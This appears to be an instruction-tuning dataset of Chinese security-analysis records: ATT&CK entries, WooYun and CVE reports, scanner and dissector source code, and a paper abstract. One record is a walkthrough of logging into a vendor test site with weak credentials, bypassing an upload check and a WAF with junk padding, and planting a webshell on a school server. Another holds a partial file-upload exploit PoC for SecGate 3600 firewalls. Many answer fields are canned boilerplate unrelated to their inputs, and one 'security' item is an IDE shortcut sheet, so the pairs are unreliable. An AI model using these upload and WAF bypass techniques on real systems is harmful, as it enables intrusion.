- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n**从1月份入坑到现在，已经5个月了。这五个月来一直在刷edusrc，并且在本月初成功达到了总榜第五名。很多人问我如何快速批量刷站？那么，他来了。本次分享一次对自己学校的一次安全检测实战文章。帮助萌新理清思路，同时，欢迎各位大佬指点不足。**\n# **0x01**\n先看学校的域名ip地址 \n注意:这里我建议不要看主域名的，看二级域名的ip地址。因为一些地区的职业院校都是集中统一在一台服务器上的，只有一些二级域名才会搭建在学校的机房里面 \n如我们学校的二级域名: \ncreat. ******.com 上面搭建的系统是智慧校园系统。IP归属地与学校地理位置符合。 \n那么开始找C段。 \nfofa关键词: 1 _2.230._.1/24 \n在1 _2.230._.194:8000下面找到一个系统。功能不详。 \n因为只有一个登录\n类似系统有很多，比如OA等。这些系统开始都是一些登录，且是一个闭源程序，一没办法本地测试，二是不能代码审计。\n我个人比较常用的方法:\n查看HTML源代码-》提取特有文件名/路径等-》FOFA寻找相同网站-》猜测弱口令-》挖掘0day-》Getshell\n因为程序本身就是闭源，开始的一个登录就让大部分人束手无策。无法探测到里面的内容 \n所以，遇到此类程序的第一种快捷方法： 找相同程序的弱口令\n在首页HTML源代码中，发现一处AJAX请求地址，\n/Service/C *******.asmx/Get *****\n那么我们就可以直接搜索这个文件名，就能获取到一些相同程序的站点\n同样，搜索到的站点也是只有一个登录页面。那么我们可以挨个测一下弱口令\n最终。发现一个类似于开发厂商的测试站点。 admin /admin 成功登录进去\n看到相应功能，就知道，这是啥了。。我们学校的大屏幕就是这玩意管理的\n那么，废话不多说，开始测试功能\n简单粗暴的来到个人中心(因为这里一般都会有更换头像的地方)\n先试着穿一个jpg文件。\n成功上传并返回一个地址: \n然后更改文件名为:test.aspx \n出现error，根据个人经验，出现这类问题，我一般喜欢在传一个ss.jpg。与成功上传的test.jpg同类型不同名\n来判断是否为白名单。\n发现ss.jpg也会出现error \n那么，这里可以得出结论，之前的手法与白名单无关。\n看了对应的参数:fileToUpload (上传的文件) directory（文件存储路径) ticket不详\n当我将返回包更改为初始成功上传的状态的时候，更改了Ticket的内容。发现出现error\n那么可以肯定，能否成功跟这个Ticket有关系。\n将所有窗口关闭，一步一步对比。发现Ticket生成的请求包\n多次测试。发现。生成Ticket的文件名必须要跟上传文件名相同才能成功上传。\n那么生成一个test.ashx(个人喜欢) 得到的Ticket替换之前的\n成功拿到shell。 \n那么这就是一个0day。有了这个系统的0day。我就可以拿去打自己学校的系统了\n# **0x02**\n将HOST地址改成自己学校的地址，发送数据包，发现直接rest了。。。。不用想，肯定是有狗。\nasp，aspx，ashx，asmx，cshtml(不解析) 多个测试。发现都是直接rest\n进行信息收集，知道了是奇安信WAF\n。。。类型检测+内容检测。。。\n玩nm！！！！！！！！！！！！！！\n于是求助RG大哥的帮助，知道了NET平台下还有一个扩展名是SVC\ngithub地址:<https://github.com/ysrc/webshell-sample/blob/master/others/svcSmallSpy.svc>\n成功上传。。\n但是访问地址出现了 500错误，也就是。。并没有被执行。。。\n想到了之前自己发过的文章。。\n用垃圾字符来绕。。。\nBlog: www.websecuritys.cn/?p=274\n经过测试发现。当内容字符逐渐变大，得到返回相应的时间也就越长。那么可以确定。后端在进行匹配。\nBypass原理。够多的垃圾字符可以消耗WAF的内存，导致Bypass\n由于之前测试的结果。Ticket的文件名要跟上传的文件名相同\n那么，先生成一个Ticket\n这里用垃圾字符\n我用了20w\n内容{ ** ** *********.ashx}\n得到文件的Ticket\n那么，在上传的fileToUpload 的文件名，也要与Ticket的文件名相同，复制过来\n同时，因为WAF自带内容检测。那么。将shell代码放在垃圾字符的末尾。\n**这里必须要注意:**\n由于垃圾字符太大。必须要用注释符号注释掉\n <%-- dsadas垃圾字符\n --%>\n shell代码\n成功Bypass。\n拿到websh...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nATT&CK ID:S0338\nATT&CK Technique Name:Cobian RAT\nCobian RAT has a feature to perform keylogging on the victim’s machine.[43]", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntitle:blackhat:eu-22 Confidence in Chaos: Strategies for World-Class Security Operations\nYou've just found out the smart-lights in the cafeteria are connected to your corporate network and can be dimmed from anywhere in the world, the sales team has been spinning up unmanaged AWS accounts to do customer demos, and your organisation engaged full encryption to meet data protection and privacy laws without notifying you. You know you need to accelerate building and adjusting your detection and response capabilities - and you can't risk making mistakes while you identify your priorities. Today's cybersecurity operations centers (SOCs) are under more pressure than ever to adjust defense and detection techniques on-the-fly to address adversaries hiding in the corners of your IT. To help you see clear priorities through your often unpredictable operational world, we've cultivated an actionable strategic roadmap for any size organisation to up their security ops game. This is based on in-depth interviews with dozens of SOC teams in a broad range of environments, and decades of working in different kinds of SOCs ourselves. Attendees will leave this presentation with practical, pragmatic action items to help their SOC to excel at these challenges, and a clear way to customize the SOC priorities for their organisation. At the end, a link will be provided to a freely available, newly released book that discusses all of this in greater detail. (There is a cost to the print-on-demand version, which neither MITRE nor the authors make a profit).", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n---\ntitle: IntelliJ IDEA\ndate: 2020-12-17 21:51:44\nbackground: bg-gradient-to-r from-pink-500 via-violet-400 to-blue-400 hover:from-pink-700 hover:via-violet-600 hover:to-blue-500\ntags:\n - jetbrains\n - java\n - shortcut\ncategories:\n - Keyboard Shortcuts\nintro: |\n IntelliJ IDEA is a very good Java IDE, most of its commands have shortcuts to keep your hands from leaving the keyboard\n---\nIDEA Windows & Linux Keymap\n--------\n### Editing {.row-span-5}\n| shortcut | description |\n|----|---------|\n`Ctrl` `Space`| Basic code completion\n`Ctrl` `Shift` `Space`| Smart code completion\n`Ctrl` `Shift` `Enter`| Complete statement\n`Ctrl` `P`| Parameter info\n`Ctrl` `Q`| Quick documentation lookup\n`Shift` `F1`| External Doc\n`Ctrl` `hover`| Brief Info\n`Ctrl` `F1`| Error or warning at caret\n`Alt` `Insert`| Generate code\n`Ctrl` `O`| Override methods\n`Ctrl` `I`| Implement methods\n`Ctrl` `Alt` `T`| Surround with\n`Ctrl` `/`| Comment or uncomment line\n`Ctrl` `Shift` `/`| Comment or uncomment block\n`Ctrl` `W`| Select successively increasing code blocks\n`Ctrl` `Shift` `W`| Decrease current selection to previous state\n`Alt` `Q`| Context info\n`Alt` `Enter`| Show intention actions and quick-fixes\n`Ctrl` `Alt` `L`| Reformat code\n`Ctrl` `Alt` `O`| Optimize imports\n`Ctrl` `Alt` `I`| Auto-indent line(s)\n`Tab`| Indent selected lines\n`Shift` `Tab`| Unindent selected lines\n`Ctrl` `X`| Cut current line or selected block to clipboard\n`Ctrl` `C`| Copy current line or selected block to clipboard\n`Ctrl` `V`| Paste from clipboard\n`Ctrl` `Shift` `V`| Paste from recent buffers\n`Ctrl` `D`| Duplicate current line or selected block\n`Ctrl` `Y`| Delete line at caret\n`Ctrl` `Shift` `J`| Smart line join\n`Ctrl` `Enter`| Smart line split\n`Shift` `Enter`| Start new line\n`Ctrl` `Shift` `U`| Toggle case for word at caret or selected block\n`Ctrl` `Shift` `]` _/_ `[`| Select till code block end/start\n`Ctrl` `Backspace`| Delete to word end/start\n`Ctrl` `+` _/_ `-`| Expand/collapse code block\n`Ctrl` `Shift` `+`...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0112581\n漏洞标题：读秀网某站平行权限漏洞第三枚（影响他人使用）\n相关厂商：读秀\n漏洞作者： Format_smile\n提交时间：2015-05-07 12:37\n公开时间：2015-05-12 12:38\n漏洞类型：设计缺陷/逻辑错误\n危害等级：中\n自评Rank：10\n漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞\n## 漏洞详情\n ### 披露状态：\n 2015-05-07： 细节已通知厂商并且等待厂商处理中 \n 2015-05-12： 厂商已经主动忽略漏洞，细节向公众公开 \n ### 简要描述：\n RT\n ### 详细说明：\n 接着看图 \n ### 漏洞证明：\n ### 修复方案：\n 做下限制就好了 \n删除有平行，那编辑肯定也有了", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nATT&CK ID:S0582\nATT&CK Technique Name:LookBack\nLookBack side loads its communications module as a DLL into the libcurl.dll loader.[33]", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "/* packet-gmr1_rach.c\n *\n * Routines for GMR-1 RACH dissection in wireshark.\n * Copyright (c) 2012 Sylvain Munaut <tnt@246tNt.com>\n *\n * References:\n * [1] ETSI TS 101 376-4-8 V1.3.1 - GMR-1 04.008\n * [2] ETSI TS 101 376-4-8 V2.2.1 - GMPRS-1 04.008\n * [3] ETSI TS 101 376-4-8 V3.1.1 - GMR-1 3G 44.008\n *\n * Especially [1] 10.1.8\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include <stdlib.h>\n\n#include <epan/packet.h>\n\n\nvoid proto_register_gmr1_rach(void);\n\n/* GMR-1 RACH proto */\nstatic int proto_gmr1_rach = -1;\n\n/* GMR-1 RACH subtrees */\nstatic gint ett_rach_msg = -1;\nstatic gint ett_rach_kls1 = -1;\nstatic gint ett_rach_kls2 = -1;\nstatic gint ett_rach_gmprs_type1_kls2 = -1;\nstatic gint ett_rach_gmprs_type2_kls2 = -1;\nstatic gint ett_rach_est_cause = -1;\nstatic gint ett_rach_dialed_num = -1;\nstatic gint ett_rach_gps_pos = -1;\nstatic gint ett_rach_gmprs_req_type = -1;\n\n/* Fields */\nstatic int hf_rach_prio = -1;\nstatic int hf_rach_est_cause = -1;\nstatic int hf_rach_est_cause_moc = -1;\nstatic int hf_rach_est_cause_pag_resp = -1;\nstatic int hf_rach_num_plan = -1;\nstatic int hf_rach_chan_needed = -1;\nstatic int hf_rach_retry_cnt = -1;\nstatic int hf_rach_precorr = -1;\nstatic int hf_rach_rand_ref = -1;\n\nstatic int hf_rach_gps_pos_cpi = -1;\nstatic int hf_rach_gps_pos_lat = -1;\nstatic int hf_rach_gps_pos_long = -1;\n\nstatic int hf_rach_mes_pwr_class = -1;\nstatic int hf_rach_sp_hplmn_id = -1;\nstatic int hf_rach_pd = -1;\nstatic int hf_rach_number = -1;\nstatic int hf_rach_number_grp1 = -1;\nstatic int hf_rach_number_grp2 = -1;\nstatic int hf_rach_number_grp3 = -1;\nstatic int hf_rach_number_grp4 = -1;\nstatic int hf_rach_number_grp5 = -1;\nstatic int hf_rach_msc_id = -1;\nstatic int hf_rach_gps_timestamp = -1;\nstatic int hf_rach_software_version = -1;\nstatic int hf_rach_spare = -1;\nstatic int hf_rach_gci = -1;\nstatic int hf_rach_r = -1;\nstat...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "#!/usr/bin/env python2\n# \n# Copyright (c) 2004-2010, Leonard Richardson\n# \n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n# \n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# \n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n# \n# * Neither the name of the the Beautiful Soup Consortium and All\n# Night Kosher Bakery nor the names of its contributors may be\n# used to endorse or promote products derived from this software\n# without specific prior written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT.\n# \n\npass", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* packet-h323.c\n * Routines for H.323 packet dissection\n * 2007 Tomas Kukosa\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include <epan/packet.h>\n#include <epan/oids.h>\n#include <epan/asn1.h>\n\n#include \"packet-per.h\"\n#include \"packet-h225.h\"\n#include \"packet-h323.h\"\n\n#define PNAME \"H.323\"\n#define PSNAME \"H.323\"\n#define PFNAME \"h323\"\n\nvoid proto_register_h323(void);\nvoid proto_reg_handoff_h323(void);\n\n/* Generic Extensible Framework */\ngef_ctx_t* gef_ctx_alloc(wmem_allocator_t *pool, gef_ctx_t *parent, const gchar *type) {\n gef_ctx_t *gefx;\n\n gefx = wmem_new0(pool, gef_ctx_t);\n gefx->signature = GEF_CTX_SIGNATURE;\n gefx->parent = parent;\n gefx->type = type;\n return gefx;\n}\n\ngboolean gef_ctx_check_signature(gef_ctx_t *gefx) {\n return gefx && (gefx->signature == GEF_CTX_SIGNATURE);\n}\n\ngef_ctx_t* gef_ctx_get(void *ptr) {\n gef_ctx_t *gefx = (gef_ctx_t*)ptr;\n asn1_ctx_t *actx = (asn1_ctx_t*)ptr;\n\n if (!asn1_ctx_check_signature(actx))\n actx = NULL;\n\n if (actx)\n gefx = (gef_ctx_t *)actx->private_data;\n\n if (!gef_ctx_check_signature(gefx))\n gefx = NULL;\n\n return gefx;\n}\n\nvoid gef_ctx_update_key(wmem_allocator_t *pool, gef_ctx_t *gefx) {\n const gchar *parent_key;\n\n if (!gefx) return;\n parent_key = (gefx->parent) ? gefx->parent->key : NULL;\n gefx->key = wmem_strdup_printf(pool,\n \"%s%s\" /* parent prefix */\n \"%s%s%s\" /* type, id */\n \"%s%s\" /* subid */,\n (parent_key) ? parent_key : \"\", (parent_key) ? \"/\" : \"\",\n (gefx->type) ? gefx->type : \"\", (gefx->type && (gefx->id || gefx->subid)) ? \"/\" : \"\", (gefx->id) ? gefx->id : \"\",\n (gefx->subid) ? \"-\" : \"\", (gefx->subid) ? gefx->subid : \"\"\n );\n}\n\n/* Initialize the protocol and registered fields */\nstatic int proto_h323 = -1;\n#include \"packet-h323-hf.c\"\n\n/* Initialize the subtree pointers */\n#include \"packet-h323-ett.c\"\n\n#include \"packet-h32...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "解释这个概念验证代码的工作原理", "input": "#!/usr/bin/env python\n# coding: utf-8\nfrom collections import OrderedDict\nfrom urllib.parse import urljoin\nimport re,random,hashlib,base64\nfrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE\nfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY\n\n\nclass POC(POCBase):\n vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0\n version = '1' #默认为1\n author = [''] # PoC作者的大名\n vulDate = '2023-08-09' #漏洞公开的时间,不知道就写今天\n createDate = '2023-08-09' # 编写 PoC 的日期\n updateDate = '2023-08-09' # PoC 更新的时间,默认和编写时间一样\n references = [''] # 漏洞地址来源,0day不用写\n name = '' # PoC 名称\n appPowerLink = '' # 漏洞厂商主页地址\n appName = '' # 漏洞应用名称\n appVersion = '''''' # 漏洞影响版本\n vulType = VUL_TYPE.UPLOAD_FILES #漏洞类型,类型参考见 漏洞类型规范表\n desc = '''\n 网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞\n '''\n # 漏洞简要描述\n samples = [''] # 测试样列,就是用 PoC 测试成功的网站\n install_requires = [''] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写\n pocDesc = '''\n 检测:pocsuite -r .\\poc++.py -u url(-f url.txt) --verify \n '''\n category = POC_CATEGORY.EXPLOITS.REMOTE\n \n # 生成任意8位字符 \n def generate_random_string(selff,length=8): \n chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' \n return ''.join(random.choice(chars) for _ in range(length))\n # 使用MD5加密 \n def md5_encrypt(self,text): \n m = hashlib.md5() \n m.update(text.encode('utf-8')) \n return m.hexdigest()\n \n def _verify(self):\n \n # 生成随机字符串并加密 \n random_string = self.generate_random_string() \n encrypted_string = self.md5_encrypt(random_string)\n result = {}\n path =\"/?g=obj_app_upfile\"\n headers={\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',\n 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc',\n 'A...", "output": "这个PoC代码演示了特定的安全漏洞利用方法，需要谨慎使用。", "category": "poc_explanation", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-090147\n漏洞标题：中科三方某服务信息泄露(可登录用户账户)\n相关厂商：北京中科三方网络技术有限公司\n漏洞作者： 路人甲\n提交时间：2015-01-06 09:58\n公开时间：2015-02-20 10:00\n漏洞类型：重要敏感信息泄露\n危害等级：高\n自评Rank：20\n漏洞状态：厂商已经确认\n## 漏洞详情\n ### 披露状态：\n 2015-01-06： 细节已通知厂商并且等待厂商处理中 \n 2015-01-07： 厂商已经确认，细节仅向厂商公开 \n 2015-01-17： 细节向核心白帽子及相关领域专家公开 \n 2015-01-27： 细节向普通白帽子公开 \n 2015-02-06： 细节向实习白帽子公开 \n 2015-02-20： 细节向公众公开 \n ### 简要描述：\n 中科三方某服务信息泄露，可获取用户名密码\n ### 详细说明：\n 中科三方某服务信息泄露 \nIP:210.72.13.110:443 \n存在openssl 信息泄露： \n并证明可登陆 \n ### 漏洞证明：\n ### 修复方案：\n 补丁", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "# frozen_string_literal: true\n\nmodule WPScan\n module Finders\n module DynamicFinder\n module WpItemVersion\n class BodyPattern < Finders::DynamicFinder::Version::BodyPattern\n end\n\n class Comment < Finders::DynamicFinder::Version::Comment\n end\n\n class ConfigParser < Finders::DynamicFinder::Version::ConfigParser\n end\n\n class HeaderPattern < Finders::DynamicFinder::Version::HeaderPattern\n end\n\n class JavascriptVar < Finders::DynamicFinder::Version::JavascriptVar\n end\n\n class QueryParameter < Finders::DynamicFinder::Version::QueryParameter\n # @return [ Regexp ]\n def path_pattern\n # TODO: consider the target.blog.themes_dir if the target is a Theme (maybe implement a WpItem#item_dir ?)\n @path_pattern ||= %r{\n #{Regexp.escape(target.blog.plugins_dir)}/\n #{Regexp.escape(target.slug)}/\n (?:#{self.class::FILES.join('|')})\\z\n }ix\n end\n\n def xpath\n @xpath ||= self.class::XPATH ||\n \"//link[contains(@href,'#{target.slug}')]/@href\" \\\n \"|//script[contains(@src,'#{target.slug}')]/@src\"\n end\n end\n\n class Xpath < Finders::DynamicFinder::Version::Xpath\n end\n end\n end\n end\nend", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2023-37262\nCNNVD:CNNVD-202307-510\nMinecraft（我的世界）是瑞典Mojang的一款沙盒游戏。\nTweaked存在代码问题漏洞。攻击者利用该漏洞获取敏感信息，从而提升权限。\nsolution:Upgrade tweaked cc-tweaked to a higher version than 1.16.5-1.101.3,1.18.2-1.101.3,1.19.2-1.101.3,1.19.4-1.106.0,1.20.1-1.106.0,and avoid the version (,1.16.5-1.101.3),[1.17.1-1.98.1,1.18.2-1.101.3),[1.19.1-1.100.9,1.19.2-1.101.3),[1.19.3-1.102.0,1.19.4-1.106.0),[1.20.1-1.105.0,1.20.1-1.106.0)", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n# frozen_string_literal: true\n\nmodule WPScan\n module Finders\n module DynamicFinder\n module Version\n # Version finder using JavaScript Variable method\n class JavascriptVar < Finders::DynamicFinder::Version::Finder\n # @return [ Hash ]\n def self.child_class_constants\n @child_class_constants ||= super().merge(\n XPATH: '//script[not(@src)]', VERSION_KEY: nil,\n PATTERN: nil, CONFIDENCE: 60\n )\n end\n\n # @param [ Typhoeus::Response ] response\n # @param [ Hash ] opts\n # @return [ Version ]\n def find(response, _opts = {})\n target.xpath_pattern_from_page(\n self.class::XPATH, self.class::PATTERN, response\n ) do |match_data, _node|\n next unless (version_number = version_number_from_match_data(match_data))\n\n # If the text to be output in the interesting_entries is > 50 chars,\n # get 20 chars before and after (when possible) the detected version instead\n match = match_data.to_s\n match = match[/.*?(.{,20}#{Regexp.escape(version_number)}.{,20}).*/, 1] if match.size > 50\n\n return create_version(\n version_number,\n interesting_entries: [\"#{response.effective_url}, Match: '#{match.strip}'\"]\n )\n end\n nil\n end\n\n # @param [ MatchData ] match_data\n # @return [ String ]\n def version_number_from_match_data(match_data)\n if self.class::VERSION_KEY\n begin\n json = JSON.parse(\"{#{match_data[:json].strip.chomp(',').tr(\"'\", '\"')}}\")\n rescue JSON::ParserError\n return\n end\n\n json.dig(*self.class::VERSION_KEY.split(':'))\n else\n match_data[:v]\n end\n end\n end\n end\n end\n end\nend", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/*\nCopyright 2018 Eduardo Garcia Melia <wagiro@gmail.com>\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n */\npackage burpbountyfree;\n\nimport burp.IBurpExtenderCallbacks;\nimport burp.IExtensionHelpers;\nimport burp.IHttpRequestResponse;\nimport burp.IResponseInfo;\nimport burp.IRequestInfo;\nimport burp.IScanIssue;\nimport burp.IScannerInsertionPoint;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport java.util.regex.PatternSyntaxException;\n\npublic class GrepMatch {\n\n private IBurpExtenderCallbacks callbacks;\n private IExtensionHelpers helpers;\n List<String> greps;\n\n public GrepMatch(IBurpExtenderCallbacks callbacks) {\n\n this.callbacks = callbacks;\n this.helpers = callbacks.getHelpers();\n greps = new ArrayList();\n }\n\n public IScanIssue getResponseMatches(IHttpRequestResponse requestResponse, String payload, List<String> greps, String issuename, String issuedetail, String issuebackground,\n String remediationdetail, String remediationbackground, String charstourlencode, int matchtype, String issueseverity, String issueconfidence, boolean notresponse,\n boolean casesensitive, boolean urlencode, boolean excludeHTTP, boolean onlyHTTP) {\n\n String responseString;\n String headers = \"\";\n Pattern p;\n Matcher m;\n IResponseInfo responseInfo = helpers.analyzeResponse(requestResponse.getResponse(...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:SybilInfer: Detecting Sybil Nodes using Social Networks\nauthor:George Danezis and\nPrateek Mittal\nSybilInfer: Detecting Sybil Nodes using Social Networks\nGeorge Danezis\nMicrosoft Research,\nCambridge, UK.\nUniversity of Illinois at Urbana-Champaign,\nPrateek Mittal\nIllinois, USA.\ngdane@microsoft.com\nmittal2@uiuc.edu\nAbstract\nSybilInfer is an algorithm for labelling nodes in a so-\ncial network as honest users or Sybils controlled by an\nadversary. At the heart of SybilInfer lies a probabilis-\ntic model of honest social networks, and an inference\nengine that returns potential regions of dishonest nodes.\nThe Bayesian inference approach to Sybil detection comes\nwith the advantage label has an assigned probability, indi-\ncating its degree of certainty. We prove through analytical\nresults as well as experiments on simulated and real-world\nnetwork topologies that, given standard constraints on the\nadversary, SybilInfer is secure, in that it successfully dis-\ntinguishes between honest and dishonest nodes and is not\nsusceptible to manipulation by the adversary. Further-\nmore, our results show that SybilInfer outperforms state\nof the art algorithms, both in being more widely applica-\nble, as well as providing vastly more accurate results.\n1\nIntroduction\nThe Peer-to-peer paradigm allows cooperating users to\nenjoy a service with little or no need for any centralised\ninfrastructure. While communication [24] and storage [4]\nsystems employing this design philosophy have been pro-\nposed, the lack of any centralised control over identities\nopens such systems to Sybil attacks [8]: a few malicious\nnodes can simulate the presence of a very large number\nof nodes, to take over or disrupt key functions of the\ndistributed or peer-to-peer system. Any attempt to build\nfault-tolerance mechanisms is doomed since adversaries\ncan control arbitrary fractions of the system nodes. This\nSybil attack is further made practical through the use of\nthe existing large number of compromised networked ma-\n...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* packet-zbee-nwk.c\n * Dissector routines for the ZigBee Network Layer (NWK)\n * By Owen Kirby <osk@exegin.com>\n * Copyright 2009 Exegin Technologies Limited\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n/* Include Files */\n#include \"config.h\"\n\n\n#include <epan/packet.h>\n#include <epan/exceptions.h>\n#include <epan/prefs.h>\n#include <epan/addr_resolv.h>\n#include <epan/address_types.h>\n#include <epan/expert.h>\n#include <epan/proto_data.h>\n#include <epan/conversation_table.h>\n#include <epan/conversation_filter.h>\n#include <epan/tap.h>\n#include <wsutil/bits_ctz.h> /* for ws_ctz */\n#include <wsutil/pint.h>\n#include \"packet-ieee802154.h\"\n#include \"packet-zbee.h\"\n#include \"packet-zbee-nwk.h\"\n#include \"packet-zbee-aps.h\" /* for ZBEE_APS_CMD_KEY_LENGTH */\n#include \"packet-zbee-zdp.h\"\n#include \"packet-zbee-security.h\"\n#include \"packet-zbee-tlv.h\"\n\n/*************************/\n/* Function Declarations */\n/*************************/\n/* Dissector Routines */\nstatic int dissect_zbee_nwk (tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data);\nstatic void dissect_zbee_nwk_cmd (tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, zbee_nwk_packet* packet);\nstatic int dissect_zbee_beacon (tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data);\nstatic int dissect_zbip_beacon (tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data);\nstatic int dissect_zbee_ie (tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data);\nstatic void dissect_ieee802154_zigbee_rejoin(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, guint *offset);\nstatic void dissect_ieee802154_zigbee_txpower(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, guint *offset);\n\n/* Command Dissector Helpers */\nstatic guint dissect_zbee_nwk_route_req (tvbuff_t *tvb, pa...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2011-4543\nCNNVD:CNNVD-201112-030\nosCommerce是一套基于GNUGPL授权的开源在线购物电子商务解决方案。\nosCommerce 3.0.2版本中存在多个目录遍历漏洞。远程攻击者可以借助多个模块参数中的..(点 点)来包含和执行任意本地文件，如： 可借助OM/Core/Site/Admin/Application/templates_modules/pages/uninstall.php中的模块参数。\nsolution:Upgrade oscommerce oscommerce to a higher version than 3.0.2,and avoid the version 3.0.2", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
